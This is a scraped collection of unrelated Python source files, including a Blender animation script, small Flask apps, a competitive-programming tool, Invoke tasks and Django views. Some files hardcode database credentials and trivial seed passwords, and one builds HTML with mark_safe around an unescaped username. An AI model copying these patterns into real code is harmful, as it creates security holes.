'threat' expression\n# head.pose.bones['Fear'].location = mu.Vector((0,-0.02*ExpWeights[exp,0],0)) # Bared-teeth 'fear' grimace\n#\n# #======= Set micro expression\n# head.pose.bones['blink'].location = mu.Vector((0,0,0.007*ExpMicroWeights[mexp, 0])) # Close eye lids (blink)\n# head.pose.bones['ears'].location = mu.Vector((0,0.04*ExpMicroWeights[mexp, 1],0)) # Retract ears\n# head.pose.bones['eyebrow'].location = mu.Vector((0,0,-0.02*ExpMicroWeights[mexp, 2])) # Raise brow\n# head.pose.bones['EyesTracker'].scale = mu.Vector((0, 1*ExpMicroWeights[mexp, 3], 0)) # Pupil dilation/ constriction\n\nFrameDur = float(AllData[2][0]) # Get duration of each frame of data\nFPS = 1/FrameDur # Calculate data frame rate\nOutputFPS = 30 # Specify desired output frame rate\nFrameRatio = round(OutputFPS/FPS) # Calculate ratio of input vs output frame rates\n\nhead = bpy.data.objects[\"HeaDRig\"] # Get handle for macaque avatar head\nhead2 = bpy.context.object\n#bpy.ops.object.mode_set(mode='POSE') # Enter pose mode\n\n\n#============== Load reference movie to 3D plane\nif LoadOrigMovie == 1:\n HeadAzimuths = [0]\n bpy.data.objects['Camera'].location = mu.Vector((-0.1, -1, 0))\n \n mc = bpy.data.movieclips.load(MovieFile)\n bpy.ops.import_image.to_plane(files=[{'name': os.path.basename(MovieFile)}],\n directory=os.path.dirname(MovieFile))\n bpy.data.objects[DataFile].rotation_euler = mu.Vector((math.radians(90), 0, 0))\n bpy.data.objects[DataFile].location = mu.Vector((-0.2, 0, 0))\n bpy.data.objects[DataFile].scale = ((0.15, 0.15, 0.15)) \n \n#============== For 'coo' vocalizations...\nif IsCoo == 1:\n bpy.data.objects['TeethDown'].hide_render = True\n bpy.data.objects['TeethUp'].hide_render = True\n bpy.data.objects['Tongue_1'].hide_render = True\nelif IsCoo == 0:\n bpy.data.objects['TeethDown'].hide_render = False\n bpy.data.objects['TeethUp'].hide_render = False\n bpy.data.objects['Tongue_1'].hide_render = False\n\n#================== Set animation parameters\nscn = bpy.context.scene\nscn.frame_start = 1 \nscn.frame_end = (len(AllData)-1)*FrameRatio # How many frames in animation?\nscn.render.frame_map_old = 1 \nscn.render.frame_map_new = 1 \nscn.render.fps = OutputFPS # Set frames per second\nscn.render.use_placeholder = 1\nscn.render.use_overwrite = 0\n\n#============== Add keyframes\nfor haz in HeadAzimuths:\n\n frame = 1\n for n in AllData[1:]:\n timestamp = float(AllData[frame][0]) # Get timestamp of current data frame \n #bpy.ops.anim.change_frame(frame = round((frame-1)*FrameRatio)) # Move timeline to correct output frame\n bpy.context.scene.frame_set( round((frame-1)*FrameRatio) ) # Move timeline to correct output frame\n\n exp = 0\n for e in BoneNames: \n if exp < 7: # For each bone...\n Vector = mu.Vector((0,0,0)) # Initialize location vector\n Vector[ BoneVectorIndx[exp] ] = BoneOffset[exp] + BoneWeight[exp]*BoneDirection[exp]*float(AllData[frame][exp+1]) # Set relevant vector component\n head.pose.bones[ BoneNames[exp] ].location = Vector # Apply to bone location\n # head.pose.bones[ AllData[0][col] ].location = Vector # \n #bpy.ops.anim.keyframe_insert_menu(type='Location') # Add keyframe\n bpy.context.object.keyframe_insert(data_path=\"location\", index=-1) # Add keyframe\n elif exp == 7:\n hel = BoneWeight[exp]*BoneDirection[exp]*float(AllData[frame][exp+1]) \n HeadXYZ = HeadLookAt(hel, haz)\n head.pose.bones['HeadTracker'].location = HeadXYZ + head.location\n exp += 1 \n\n\n #======= Insert keyframe\n #bpy.ops.anim.keyframe_insert_menu(type='Location')\n \n bpy.ops.wm.redraw_timer(type='DRAW_WIN_SWAP', iterations=1)\n Filename = \"%s_animation_Haz%d_%d.png\" % (DataFile, haz, frame)\n if os.path.isfile(OutputDir + \"/\" + Filename) == 0:\n print(\"Now rendering: \" + Filename + \" . . .\\n\")\n bpy.context.scene.render.filepath = OutputDir + \"/\" + Filename\n bpy.ops.render.render(write_still=True, use_viewport=True)\n elif os.path.isfile(OutputDir + \"/\" + Filename) == 1:\n print(\"File \" + Filename + \" already exists. Skipping . . .\\n\")\n\n frame += 1\n\nprint(\"Rendering completed!\\n\")\n\n","sub_path":"ReadCSVdata.py","file_name":"ReadCSVdata.py","file_ext":"py","file_size_in_byte":8517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"58485486","text":"from flask import Flask , render_template , request\nfrom flask import jsonify\nimport pafy\nimport vlc\n\napp = Flask(__name__)\nInstance = vlc.Instance('--no-video')\nplayer = Instance.media_player_new()\nurl = ''\n\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n\n@app.route('/song', methods=['GET'])\ndef youtube():\n vid = request.args.get('vid')\n url = 'https://www.youtube.com/watch?v=' + vid\n video = pafy.new(url)\n streams = video.audiostreams\n best = streams[3]\n playurl = best.url\n display_message = {\"song\": \"started\", \"url\": playurl}\n resp = jsonify(display_message)\n resp.status_code = 200\n return resp\n\n\nif __name__ == '__main__':\n app.run(debug=False, port=7070, host='0.0.0.0')\n","sub_path":"youtube_player/music_server.py","file_name":"music_server.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"418464156","text":"import os\nimport sys\nimport logging\nimport platform\nfrom .asm import escape_source\nfrom .command import Command, Argument\nfrom .profile import Profile\nlogger = logging.getLogger(__package__)\n\ndef index_of(l, x):\n try:\n return l.index(x)\n except ValueError:\n return len(l)\n\ndef asm_pick_env(envs):\n envs = [c for c in envs\n if c.lang == \"C\" and c.name in (\"GCC\", \"MinGW\")]\n envs.sort(key=lambda c:\n (index_of(['Linux','Windows'], c.os),\n index_of(['x86_64','x86'], c.arch)))\n return envs[0]\n\ndef llvm_target(env):\n return \"{}-{}-gnu\".format(\n {\"x86\": \"i686\", \"x86_64\": \"x86_64\"}[env.arch],\n {\"Windows\": \"pc-windows\", \"Linux\": \"unknown-linux\"}[env.os])\n\nEXTS = {\n \".c\": \"C\",\n \".cpp\": \"C++\",\n \".cs\": \"C#\",\n \".cxx\": \"C++\",\n \".d\": \"D\",\n \".for\": \"Fortran\",\n \".hs\": \"Haskell\",\n \".go\": \"Go\",\n \".java\": \"Java\",\n \".js\": \"ECMAScript\",\n \".kt\": \"Kotlin\",\n \".ml\": \"OCaml\",\n \".pas\": \"Pascal\",\n \".php\": \"PHP\",\n \".py\": \"Python3\",\n \".rb\": \"Ruby\",\n \".rs\": \"Rust\",\n \".sc\": \"Scala\",\n \".swift\": \"Swift\",\n}\n\ndef guess_language(name):\n _, ext = os.path.splitext(name)\n return EXTS[ext]\n\nSUFFIX = \".elf\"\nif platform.system() == 'Windows':\n SUFFIX = \".exe\"\n\n\ndef init(command, profile, cfg):\n __all__ = (\n 'ROOTDIR', 'SOLUTIONS_DIR', 'GCC',\n 'target_dir', 'dest_filename',\n 'find_solutions', 'get_solution_info',\n 'compile_libs', 'get_compile_argv', 'read_source',\n 'get_run_argv', 'get_submit_env', 'clean_solution')\n\n import re\n from .subprocess import run as call, quote_argv\n from .task import task\n\n def target_dir(mode, target):\n yield 'target'\n if target is not None:\n yield target\n yield mode\n\n def dest_filename(filename, mode='debug', target=None):\n basename = os.path.splitext(os.path.basename(filename))[0]\n basename += \".s\" if mode == 'release' else SUFFIX\n return os.path.join(os.path.dirname(filename), *cfg.target_dir(mode, target), basename)\n\n def has_to_recompile(dest, *sources):\n if not os.path.exists(dest):\n return True\n\n for source in sources:\n if os.stat(source).st_mtime >= os.stat(dest).st_mtime:\n return True\n return False\n\n def relative_path(basedir, filename):\n basedir = os.path.abspath(basedir)\n filename = os.path.abspath(filename)\n\n if os.path.commonprefix([filename,basedir]) == basedir:\n filename = os.path.relpath(filename, basedir)\n\n if os.sep != '/':\n filename = filename.replace(os.sep, '/')\n return filename\n\n ROOTDIR = os.path.dirname(os.path.abspath(cfg.__file__))\n SOLUTIONS_DIR = os.path.join(ROOTDIR, \"solutions\")\n GCC = 'gcc'\n\n def get_run_argv(filename):\n return (os.path.join(cfg.ROOTDIR, filename),)\n\n def get_solution_info(filename):\n m = re.match(cfg.SOLUTION_PATTERN, filename)\n if m is None:\n return None\n return m.group('oj'), m.group('pid')\n\n def find_solutions(filename=None):\n if filename is None:\n filename = cfg.SOLUTIONS_DIR\n filename = os.path.abspath(filename)\n if os.path.isdir(filename):\n for root,dirs,files in os.walk(filename):\n for name in files:\n fullname = relative_path(cfg.ROOTDIR, os.path.join(root,name))\n info = cfg.get_solution_info(fullname)\n if info:\n yield fullname, info\n else:\n fullname = relative_path(cfg.ROOTDIR, filename)\n info = cfg.get_solution_info(fullname)\n if info:\n yield fullname, info\n\n @task(\"Read source of {filename}\")\n def read_source(filename):\n with open(filename, 'rb') as f:\n return f.read()\n\n def compile_libs(mode='debug', target=None):\n return ()\n\n def _compile(filename, recompile, mode='debug', target=None, escape=False):\n kwargs = {}\n if mode != 'debug' or target is not None:\n kwargs['mode'] = mode\n kwargs['target'] = target\n\n libs = cfg.compile_libs(**kwargs)\n if not escape:\n dest, argv, *env = cfg.get_compile_argv(filename, *libs, **kwargs)\n if len(env) == 0:\n env = None\n else:\n env = env[0]\n else:\n assert filename.endswith(\".s\")\n dest = filename[:-2] + SUFFIX\n argv = (cfg.GCC, '-no-pie', '-o', dest, '-x', 'c', '-', '-lm')\n if profile.debug:\n argv = (argv[0], '-v') + argv[1:]\n env = None\n\n if dest == filename:\n return filename\n\n if not (recompile or has_to_recompile(dest, filename, *libs)):\n return dest\n\n if not escape:\n source = cfg.read_source(filename)\n else:\n source = escape_source(read_source(filename))\n\n os.makedirs(os.path.dirname(dest), exist_ok=True)\n call(argv, input=source, check=True)\n return dest\n\n @command\n @task(\"Compile {filename}\")\n def compile(filename: Argument(help=\"path to solution\"),\n recompile: Argument(\"-r\", \"--recompile\", action=\"store_true\", help=\"force recompile\") = False,\n mode: Argument(\"--mode\") = 'debug',\n target = None):\n '''compile solution'''\n dest = _compile(filename, recompile, mode, target)\n if mode == 'release' and target is None:\n dest = _compile(dest, recompile, mode, target, True)\n return dest\n\n @task(\"Test {filename}\")\n def test_solution(oj, pid, filename, recompile, mode='debug', names=None, target=None, rootdir=None):\n path = os.path.join(rootdir or cfg.ROOTDIR, filename)\n executable = compile(path, recompile, mode, target)\n profile.run_tests(oj, pid, names, cfg.get_run_argv(executable))\n\n def get_submit_env(name, envs):\n lang = guess_language(name)\n envs = [e for e in envs if e.lang == lang]\n import platform\n if platform.system() == 'Windows':\n o = ['Windows', 'Linux']\n else:\n o = ['Linux', 'Windows']\n envs.sort(key = lambda e: index_of(o, e.os))\n return envs[0]\n\n @task(\"Read submission code of {filename}\")\n def read_submission(filename, recompile, rootdir=None):\n oj, pid = cfg.get_solution_info(filename)\n envs = profile.get_envs(oj)\n env = cfg.get_submit_env(filename, envs)\n path = os.path.join(rootdir or cfg.ROOTDIR, filename)\n\n if env is not None:\n return env.code, cfg.read_source(path)\n\n env = asm_pick_env(envs)\n target = llvm_target(env)\n asm = compile(path, recompile, mode='release', target=target)\n source = read_source(asm)\n prologue = profile.prologue(oj, pid)\n return env.code, prologue + escape_source(source)\n\n @task(\"Remove {filename}\")\n def remove_file(filename, rootdir=None):\n path = os.path.join(rootdir or cfg.ROOTDIR, filename)\n if os.path.isdir(path):\n from shutil import rmtree\n rmtree(path, ignore_errors=True)\n else:\n os.remove(path)\n\n @task(\"Clean {filename}\")\n def clean_solution(filename, rootdir=None):\n from glob import escape, iglob\n path = os.path.join(rootdir or cfg.ROOTDIR, filename)\n dirname = escape(os.path.join(os.path.dirname(path), \"target\"))\n basename = escape(os.path.splitext(os.path.basename(path))[0])\n\n for filename in iglob(f\"{dirname}/**/{basename}.*\", recursive=True):\n remove_file(filename)\n\n @command\n @task(\"Run {filename}\")\n def run(filename: Argument(help=\"path to solution\"),\n recompile: Argument(\"-r\", \"--recompile\", action=\"store_true\", help=\"force recompile\") = False):\n '''build solution'''\n executable = compile(filename, recompile)\n argv = cfg.get_run_argv(executable)\n call(argv)\n\n @command\n @task(\"Test\")\n def test(filename: Argument(nargs='?', help=\"path to solution\") = None,\n recompile: Argument(\"-r\", \"--recompile\", action=\"store_true\", help=\"force recompile\") = False,\n mode: Argument(\"--mode\") = 'debug',\n names: Argument(\"--only\", nargs='+', required=False) = None):\n '''check solution against sample testcases'''\n for name, (oj, pid) in cfg.find_solutions(filename):\n test_solution(oj, pid, name, recompile, mode, names)\n\n @command\n @task(\"List of testcases\")\n def List(filename: Argument(help=\"path to solution\")):\n '''list testcases'''\n filename = relative_path(cfg.ROOTDIR, filename)\n oj, pid = cfg.get_solution_info(filename)\n reader = profile.testcases(oj, pid)\n for name in reader:\n print(name)\n\n @command\n @task(\"Input of testcase\")\n def In(filename: Argument(help=\"path to solution\"),\n names: Argument(nargs='*')):\n '''print input'''\n filename = relative_path(cfg.ROOTDIR, filename)\n oj, pid = cfg.get_solution_info(filename)\n reader = profile.testcases(oj, pid)\n for name in names or reader:\n input, output = reader[name]\n print(input.read().decode(), end='')\n\n @command\n @task(\"Output of testcase\")\n def Out(filename: Argument(help=\"path to solution\"),\n names: Argument(nargs='*')):\n '''print output'''\n filename = relative_path(cfg.ROOTDIR, filename)\n oj, pid = cfg.get_solution_info(filename)\n reader = profile.testcases(oj, pid)\n for name in names or reader:\n input, output = reader[name]\n print(output.read().decode(), end='')\n\n @command\n @task(\"Preview submission of {filename}\")\n def preview(filename: Argument(help=\"path to solution\"),\n recompile: Argument(\"-r\", \"--recompile\", action=\"store_true\", help=\"force recompile\") = False):\n '''preview the code to be submitted'''\n filename = relative_path(cfg.ROOTDIR, filename)\n oj, pid = cfg.get_solution_info(filename)\n env, code = read_submission(filename, recompile)\n print(code.decode())\n\n @command\n @task(\"Submit\")\n def submit(filename: Argument(nargs='?', help=\"path to solution\") = None,\n agent: Argument(\"--agent\", default='localhost') = 'localhost',\n recompile: Argument(\"-r\", \"--recompile\", action=\"store_true\", help=\"force recompile\") = False):\n '''submit solution'''\n for name, (oj, pid) in cfg.find_solutions(filename):\n env, code = read_submission(name, recompile)\n message, extra = profile.submit(oj, pid, env, code, agent)\n logger.info(\"%s %s\", message, name)\n print(extra)\n\n @command\n @task(\"Clean\")\n def clean(filename: Argument(nargs='?', help=\"path to solution\") = None):\n \"\"\"removes generated files\"\"\"\n\n for name,info in cfg.find_solutions(filename):\n cfg.clean_solution(name)\n\n return cfg.__dict__.update(\n {k:v\n for k, v in locals().items()\n if k in __all__})\n\n\nclass WrongAnswerProject(Command):\n\n def __init__(self, description):\n super().__init__(description=description)\n\n def init_mod(self, mod, argv):\n profile = Profile()\n\n __main__ = sys.modules['__main__']\n filename = __main__.__file__\n mod.__file__ = filename\n mod.profile = profile\n\n init(self.add_command, profile, mod)\n\n with open(filename, 'r') as f:\n code = compile(f.read(), filename, 'exec')\n exec(code, mod.__dict__)\n\n cmd, args = super().init_mod(mod, argv)\n profile.set_debug(args.debug)\n return cmd, args\n\ndef main(description, argv=None):\n main = WrongAnswerProject(description)\n main(argv)\n","sub_path":"wronganswer/project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":11985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"342921225","text":"from flask import Flask\nfrom flask import render_template\nimport requests\nfrom bs4 import BeautifulSoup\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef hello_world():\n return render_template(\"test.html\")\n\nlanguage = {\n \"Ko\" : {\n \"americano\" : \"아메라카노\",\n \"latte\" : \"라떼\",\n \"javachip\" : \"자바칩\",\n \"chcobanana\" : \"초코바나나\"\n },\n \"Us\" : {\n \"americano\" : \"americano\",\n \"latte\" : \"latte\",\n \"javachip\" : \"javachip\",\n \"chcobanana\" : \"chcobanana\"\n }\n}\n\n\n\n\ndef search():\n r = requests.get(\"http://naver.com\")\n soup = BeautifulSoup(r.text,\"html.parser\")\n\n keyword = [\n\n ]\n\n datas = soup.find(id=\"realtimeKeywords\").ol.find_all('li')\n for data in datas:\n keyword.append(\n data.a.find(\"span\", {\"class\": \"ell\"}).string\n )\n return keyword\n\n\n@app.route('/')\ndef hello_name(name):\n return render_template(\"test.html\",name=name)\n\n@app.route('/welcome/')\ndef welcome(country):\n keywords = search()\n return render_template(\"welcome.html\",language=language,country=country,keywords=keywords)\n\n\nif __name__ == '__main__':\n app.run()\n","sub_path":"starbucks/starbucks.py","file_name":"starbucks.py","file_ext":"py","file_size_in_byte":1175,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"628276558","text":"\"tasks to be invoked via Invoke python\"\nimport os\nfrom invoke import task\n\nHEROKU_APP_NAME = \"pydata-effortless-rest-flask\"\n\n\ndef get_db_url(ctx) -> str:\n \"\"\"Get db url with local heroku setup\n\n Args:\n ctx (Context): Invoke context\n\n Returns:\n str: connection string for db\n \"\"\"\n return ctx.run(\n f\"heroku config:get DATABASE_URL -a {HEROKU_APP_NAME}\"\n ).stdout.strip()\n\n\n@task\ndef start(ctx, wsgi_server=False, config_name=\"dev\", host=\"127.0.0.1\"):\n \"\"\"Start the backend as a dev server or production ready gunicorn server\"\"\"\n if wsgi_server:\n ctx.run(\n f\"\"\"gunicorn --bind {host}:5000 --workers 2 \"app:create_app('{config_name}')\" \"\"\",\n pty=True,\n echo=True,\n )\n return\n\n ctx.run(\n f\"\"\"\n export DATABASE_URL={get_db_url(ctx)} &&\n export FLASK_ENV=development &&\n export FLASK_APP=\"app:create_app('{config_name}')\" &&\n flask run --host={host}\n \"\"\",\n pty=True,\n echo=True,\n )\n\n\n@task\ndef init_db(ctx, config_name=\"dev\"):\n \"\"\"Initialize Database\"\"\"\n from app import db, create_app\n\n os.environ[\"DATABASE_URL\"] = get_db_url(ctx)\n\n app = create_app(config_name)\n db.drop_all(app=app)\n db.create_all(app=app)\n\n\n@task\ndef seed_db(ctx, config_name=\"dev\"):\n \"\"\"Initialize Database\"\"\"\n from app import db, create_app, guard\n from app.models.user import User\n from hashlib import sha256\n\n os.environ[\"DATABASE_URL\"] = get_db_url(ctx)\n app = create_app(config_name)\n\n with app.app_context():\n\n def add_users():\n db.session.add(\n User(\n username=\"admin\",\n password=guard.hash_password(\"password\"),\n roles=\"admin\",\n )\n )\n db.session.add(User(username=\"user\", password=guard.hash_password(\"pass\")))\n\n add_users()\n\n db.session.commit()\n","sub_path":"chap-3/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":1963,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"557769469","text":"import re\n\n# Ask for our puzzle input: ULL\\nRRDDD etc\nprint(\"What is your puzzle input?\")\n\n# Initialize some variables\ncodes = []\ncode = 5\nx, y = 1, 1\n\n# Create our keypad using tuples\nkeypad = ((1, 2, 3),\n (4, 5, 6),\n (7, 8, 9))\n\n# Loop over the lines of instructions the user gives\nwhile True:\n instruction = input()\n\n # Once they've entered all the instructions, stop looping\n if not instruction or not re.match(r\"^[UDLR]+$\", instruction):\n break\n \n # Loop over each individual direction within each instruction line\n for direction in instruction:\n\n # Get our current code by getting x,y coordinates\n # by utilizing a dictionary for makeshift Switch Case,\n # and min/max, within a generator expression, to stay in our 0-2 bounds\n (x, y) = tuple(min(2, max(0, i)) for i in {\n \"U\": (x, y - 1),\n \"D\": (x, y + 1),\n \"L\": (x - 1, y),\n \"R\": (x + 1, y)\n }[direction])\n\n # Our code is in the keypad at the x,y coordinates\n code = keypad[y][x]\n\n # Store our final code for this line of instructions\n codes.append(code)\n\n# Join and output our full code\nprint(\"The code is: %s\" % (''.join([str(c) for c in codes])))\n","sub_path":"day2-1.py","file_name":"day2-1.py","file_ext":"py","file_size_in_byte":1249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"544580138","text":"# encoding: utf-8\nfrom django.contrib.auth.models import User\nfrom django.db import models\nfrom django.utils.html import escape\nfrom django.utils.safestring import mark_safe\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom knesset.utils import get_thousands_string\nimport logging\nlogger = logging.getLogger(\"open-knesset.laws.models\")\n\n\nclass BillBudgetEstimation(models.Model):\n class Meta:\n app_label = 'laws'\n unique_together = ((\"bill\", \"estimator\"),)\n\n bill = models.ForeignKey(\"laws.Bill\", related_name=\"budget_ests\")\n # costs are in thousands NIS\n one_time_gov = models.IntegerField(blank=True, null=True)\n yearly_gov = models.IntegerField(blank=True, null=True)\n one_time_ext = models.IntegerField(blank=True, null=True)\n yearly_ext = models.IntegerField(blank=True, null=True)\n estimator = models.ForeignKey(User, related_name=\"budget_ests\", blank=True, null=True)\n time = models.DateTimeField(auto_now=True)\n summary = models.TextField(null=True, blank=True)\n\n def as_p(self):\n return mark_safe((\"%s %s
\\n\" * 7) % \\\n (\n # leave this; the lazy translator does not evaluate for some reason.\n _('Estimation of').format(),\n \"%s \" % self.estimator.username,\n _('Estimated on:').format(),\n self.time,\n _('One-time costs to government:').format(),\n get_thousands_string(self.one_time_gov),\n _('Yearly costs to government:').format(),\n get_thousands_string(self.yearly_gov),\n _('One-time costs to external bodies:').format(),\n get_thousands_string(self.one_time_ext),\n _('Yearly costs to external bodies:').format(),\n get_thousands_string(self.yearly_ext),\n _('Summary of the estimation:').format(),\n escape(self.summary if self.summary else \"\", )))","sub_path":"laws/models/bill_budget_estimation.py","file_name":"bill_budget_estimation.py","file_ext":"py","file_size_in_byte":2196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"144974004","text":"import json\nfrom sqlalchemy.orm import sessionmaker\nfrom ReqTable import *\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\n# creating engine\nengine = create_engine('mysql+mysqldb://user:1234@127.0.0.1/user?charset=utf8', echo =True)\n\n\n# creating session\nSession = sessionmaker(bind = engine)\n\n@app.route('//fizzbuzz/', methods=['GET','POST'])\ndef fizzbuzz(requestNumber):\n \"\"\"\n this method is fizzbuzz HTTP API\n check if request number is multiple of 3 or 5\n\n if HTTP method is 'GET', return the count of request number.\n if HTTP method is 'POST', update the count of request number and return updated count.\n if request number is multiple of 3 or 5, return fizz or buzz or fizzbuzz\n\n :param requestNumber: request number\n :return: count of request number\n \"\"\"\n\n # session creating\n session = Session()\n\n # recieve the query result\n queryResult = session.query(ReqTable).order_by(ReqTable.reqnum).filter_by(reqnum=requestNumber).first()\n\n # validating multiple number\n ret = None\n\n # check number is multiple of 3 or 5\n dFizzBuzz = isFizzBuzz(requestNumber)\n\n # request method is GET\n if request.method == 'GET':\n\n # if number is multiple of 3 or 5\n if dFizzBuzz != None:\n ret = dFizzBuzz\n\n # if request information was saved in database before,\n elif queryResult != None:\n # get the count of request number\n ret = str(queryResult.cnt)\n\n else:\n ret = str(0)\n\n # requset mothod is POST\n elif request.method == 'POST':\n\n # there is no record in database, create new row\n if queryResult == None:\n queryResult = ReqTable(reqnum = requestNumber, cnt = 1)\n session.add(queryResult)\n session.commit()\n\n\n # update count of request number\n else:\n queryResult.cnt += 1\n session.commit()\n\n # check request number is multiple of 3 or 5\n if dFizzBuzz != None:\n ret = dFizzBuzz\n\n else:\n ret = str(queryResult.cnt)\n\n # return json format data\n return json.dumps({\"fizzbuzz\" : ret})\n\n\ndef isFizzBuzz(num):\n \"\"\"\n :param num: request number\n :return: if request number is multiple of 3 or 5, return Fizz,Buzz,Fizzbuzz\n else return None\n \"\"\"\n\n ret = None\n\n if num%15==0:\n ret = 'FizzBuzz'\n elif num%3==0:\n ret = 'Fizz'\n elif num%5==0:\n ret = 'Buzz'\n\n return ret\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","sub_path":"fizzbuzz2.7.py","file_name":"fizzbuzz2.7.py","file_ext":"py","file_size_in_byte":2559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"322768670","text":"\"\"\"d4user/view.py\n\nThis view file contains the functions those are related with d4user application.\n\n\"\"\"\n\n#importing libraries and other classes\nfrom django.shortcuts import render\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom core.persistence.Users import *\nfrom core.services.Predispacher import *\nfrom django.contrib import messages\nfrom django.shortcuts import render_to_response\nfrom django.template import RequestContext\nfrom django.core import serializers\nfrom core.services.LdapService import *\nfrom scripts.imports.ImportCsvUsers import *\nfrom scripts.imports.ChangeUsersPassword import *\nimport os\n\ndef ldap_test(request):\n \"\"\"\n Test the ldap Authentication\n Args: \n request(object): the combination of all request parameters.\n Returns:\n ldif_writer\n \"\"\"\n\n ldif_writer = LdapService.authticateLdapUser()\n return HttpResponse(ldif_writer)\n\ndef ldap3_test(request):\n \"\"\"\n Test the ldap Authentication\n Args: \n request(object): the combination of all request parameters.\n Returns:\n ldif_writer\n \"\"\"\n\n ldif_writer = LdapService.authticateUserByLdap3()\n return HttpResponse(ldif_writer)\n\ndef d4(request):\n \"\"\"\n This is the default function for the d4 user login screen\n Note: \n If User is valid then got to dashboard otherwise giving error alert\n Args: \n request(object): the combination of all request parameters.\n Returns:\n render login template or redirect to dashboard\n \"\"\"\n\n if request.POST:\n # saving user name in session\n request.session['username'] = request.POST[\"username\"] \n validateUser = Users.getUserByUserName(request.POST[\"username\"], request.POST[\"password\"])\n \n if validateUser:\n request.session['id'] = validateUser[0].id\n request.session['first_name'] = validateUser[0].first_name\n request.session['last_name'] = validateUser[0].last_name\n else :\n # set warning message\n messages.warning(request, \"Invalid User Name\")\n return HttpResponseRedirect('/login')\n context = {'title':'My D4 Portal','ActionName':'dashboard'} \n if request.session.get('previous_url', False): \n return HttpResponseRedirect(request.session['previous_url'])\n else:\n return HttpResponseRedirect('/dashboard')\n context = {'title':'Login','ActionName':'d4'} \n return render(request, \"d4user/login/index.html\", context)\n\n\ndef dashboard(request): \n \"\"\"\n This is the default function for the dashboard screen\n Note: \n If User is valid render dashboard/index otherwise got to login\n Args: \n request(object): the combination of all request parameters.\n Returns:\n render dashboard/index template or redirect to login\n \"\"\"\n\n request.session['previous_url'] = request.get_full_path()\n if request.session.get('username', False):\n context = {\"title\":\"My D4 Portal\",'ActionName':'dashboard'}\n return render(request, \"d4user/dashboard/index.html\", context)\n else:\n return HttpResponseRedirect('/login')\n\n\ndef myapplications(request):\n \"\"\"\n This is the default function for the my applications screen\n Note: \n Show all application according to user permission if user has permission then show with active \n otherwise Grey out \n Args: \n request(object): the combination of all request parameters.\n Returns:\n render myapplications/index template\n \"\"\"\n\n request.session['previous_url'] = request.get_full_path()\n if request.session.get('username', False):\n validatePermissionForSpotcost = Predispacher.checkpermissions(request, 'Spot Cost Recommendation');\n validatePermissionConstactcost = Predispacher.checkpermissions(request, 'Contract Cost Model');\n validatePermissionBci = Predispacher.checkpermissions(request, 'Broker Cost Intelligence');\n \n context = {\n 'title':'My Applications',\n 'ActionName':'myapplications', \n 'spotcost' : validatePermissionForSpotcost,\n \"contractcost\": validatePermissionConstactcost,\n \"brokerintelligence\": validatePermissionBci\n }\n return render(request,\"d4user/myapplications/index.html\", context)\n else:\n return HttpResponseRedirect('/login')\n\n\ndef exdashboard(request):\n \"\"\"\n This is the default function for the my dashboard screen \n Args: \n request(object): the combination of all request parameters.\n Returns:\n render ex-dashboard/index.html\n \"\"\"\n\n request.session['previous_url'] = request.get_full_path()\n context = {'title':'DSS Executive Dashboard','ActionName':'exdashboard'}\n return render(request,\"d4user/ex-dashboard/index.html\",context)\n\n\ndef guidedocumentation(request):\n \"\"\"\n This is the default function for d4 guide screen \n Args: \n request(object): the combination of all request parameters.\n Returns:\n render guidedocumentation/index.html\n \"\"\"\n\n request.session['previous_url'] = request.get_full_path()\n context = {'title':'D4 User Guide','ActionName':'guidedocumentation'}\n return render(request, \"d4user/guidedocumentation/index.html\",context)\n\ndef importcsvusers(request):\n \"\"\"\n Creating new users from csv\n Note: \n If user id admin He will able to import csv file for new user creation\n Args: \n request(object): the combination of all request parameters.\n Returns:\n HttpResponse or redirect to login page\n \"\"\"\n\n #check session exist or not\n if request.session.get('username', False):\n #check current user is Admin or not\n if request.session.get('username')=='Admin':\n userFolder = os.path.dirname(os.path.dirname(__file__))\n ImportCsvUsers.execute(userFolder)\n return HttpResponse('Done')\n else:\n return HttpResponseRedirect('/login') \n else:\n #redirect to login screen if session doesn't exits\n return HttpResponseRedirect('/login')\n\ndef changeuserpwd(request):\n \"\"\"\n change users password\n Note: \n If user id admin He will able to change users password\n Args: \n request(object): the combination of all request parameters.\n Returns:\n HttpResponse or redirect to login page\n \"\"\"\n\n #check session exist or not\n if request.session.get('username', False):\n #check current user is Admin or not\n if request.session.get('username') == 'Admin':\n ChangeUsersPassword.execute()\n return HttpResponse('Done')\n else:\n return HttpResponseRedirect('/login') \n else:\n #redirect to login screen if session doesn't exits\n return HttpResponseRedirect('/login')\n\n\ndef error_404(request):\n \"\"\"\n Render 404 error page if any error exist in application\n Args: \n request(object): the combination of all request parameters.\n Returns:\n response\n \"\"\"\n\n url=request.get_full_path() \n response = render_to_response('404.html', {},\n context_instance = RequestContext(request))\n response.status_code = 404\n return response","sub_path":"d4user/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
